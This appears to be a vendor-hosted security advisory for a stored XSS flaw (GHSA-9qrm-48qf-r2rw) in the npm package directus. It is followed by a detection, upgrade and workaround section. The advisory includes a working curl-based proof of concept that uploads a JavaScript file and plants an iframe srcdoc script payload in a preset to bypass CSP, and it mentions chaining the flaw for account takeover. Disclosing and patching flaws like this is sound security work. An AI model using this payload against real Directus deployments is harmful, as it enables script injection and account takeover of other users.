directusnpmDescription
Impact
Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
PoC
To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.
- Upload the following JavaScript file.
Using the upload functionality at POST /files. This PoC will show an alert message.
export TARGET_HOST="http://localhost:8055"
export ATTACKER_EMAIL="[email protected]"
export ATTACKER_PASSWORD="123456"
root_dir=$(dirname $0)
mkdir "${root_dir}/static"
curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
-c "${root_dir}/static/attacker_directus_session_token" \
-H 'Content-Type: application/json' \
-d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"
id_url_file=$(echo "alert('Successful DOM-based XSS')" |
curl -s -k -X 'POST' "${TARGET_HOST}/files" \
-b "${root_dir}/static/attacker_directus_session_token" \
-F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id")
- Create a preset for a collection and store the preset ID.
Or use a preset already created from GET /presets. The following example uses the direct_users preset.
attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
When the user visits the view that uses the directus_users preset, the JavaScript file will be executed.
Notes:
Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is <iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">.
We can target any collection that uses the vulnerable template structure that renders the layout option section.
In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for directus. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update directus to 11.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9qrm-48qf-r2rw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9qrm-48qf-r2rw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9qrm-48qf-r2rw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9qrm-48qf-r2rw in your dependencies?
O3 detects GHSA-9qrm-48qf-r2rw across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
